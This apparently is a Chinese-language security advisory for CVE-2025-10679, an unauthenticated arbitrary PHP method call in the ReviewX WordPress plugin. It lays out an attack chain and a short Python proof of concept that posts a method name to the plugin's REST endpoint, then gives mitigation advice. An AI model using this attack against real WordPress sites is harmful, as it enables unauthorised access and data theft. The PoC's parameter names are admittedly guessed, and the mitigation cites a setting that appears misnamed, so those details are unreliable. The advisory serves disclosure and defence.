IPBUF安全漏洞报告
English
CVE-2025-10679 CVSS 7.3 高危

CVE-2025-10679 WordPress ReviewX插件任意方法调用漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2025-10679
漏洞类型
远程代码执行
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ReviewX WordPress Plugin

相关标签

WordPressRCEReviewXCVE-2025-10679Arbitrary Method Call

漏洞概述

WordPress插件ReviewX在2.2.12及之前版本中存在严重的安全漏洞。该漏洞源于`bulkTenReviews`函数中缺乏足够的输入验证机制,允许将用户控制的数据直接传递给变量函数调用接口。未经身份验证的远程攻击者可利用此漏洞调用任意PHP类方法(特别是无需输入或具有默认值的方法)。根据服务器环境及可用方法的不同,攻击者可能导致敏感信息泄露,甚至在特定条件下实现远程代码执行,从而完全控制受影响的服务器。

技术细节

该漏洞的具体技术细节在于ReviewX插件处理REST API请求时的逻辑缺陷。在`ReviewService.php`及相关路由文件中,`bulkTenReviews`函数接收用户输入参数,并将其直接用于动态调用函数(即PHP中的可变函数语法,例如`$function()`)。由于代码未对传入的类名和方法名进行白名单验证或严格的类型检查,攻击者可以通过构造恶意的HTTP POST请求,指定系统中存在的任意类和方法进行调用。由于攻击无需认证(PR:N)且无需用户交互(UI:N),利用门槛极低。攻击者可利用PHP内置类(如某些GlobIterator或DirectoryIterator等可能导致信息泄露)或第三方库中的危险方法,读取服务器文件、获取数据库凭证或执行系统命令,从而造成严重的安全后果。

攻击链分析

STEP 1
侦察
攻击者扫描目标WordPress站点,识别是否安装了ReviewX插件及其版本号,确认版本是否低于或等于2.2.12。
STEP 2
漏洞利用
攻击者向`/wp-json/reviewx/...`相关的REST API端点发送特制的POST请求,在请求载荷中注入恶意的类名和方法名。
STEP 3
执行任意方法
服务器端接收到请求后,`bulkTenReviews`函数将攻击者提供的参数传递给变量函数调用机制,导致系统执行攻击者指定的任意PHP方法。
STEP 4
达成目标
根据调用的方法,攻击者获取服务器敏感信息(如文件路径、配置信息)或进一步利用特定链实现远程代码执行(RCE),控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual target) target_url = "http://example.com/wp-json/reviewx/v1/reviews/bulk-ten-reviews" # Vulnerability occurs in the bulkTenReviews function where user input # is passed to a variable function call. We simulate triggering a method. # Depending on the available classes/methods in the WP environment, # one might trigger information disclosure or RCE. payload = { # The specific parameter name might vary based on plugin implementation, # typically involves passing the class and method name to be called. "method_name": "phpinfo", # Example method if available in scope "args": [] } try: response = requests.post(target_url, json=payload) print(f"Status Code: {response.status_code}") print("Response Body:") print(response.text) except Exception as e: print(f"An error occurred: {e}")

影响范围

ReviewX <= 2.2.12

防御指南

临时缓解措施
如果无法立即升级插件,建议暂时禁用ReviewX插件以消除风险。同时,检查服务器日志以确认是否已被攻击,并加强服务器对PHP危险函数的禁用配置(如disable_php.ini中的exec, shell_exec等),以降低RCE风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表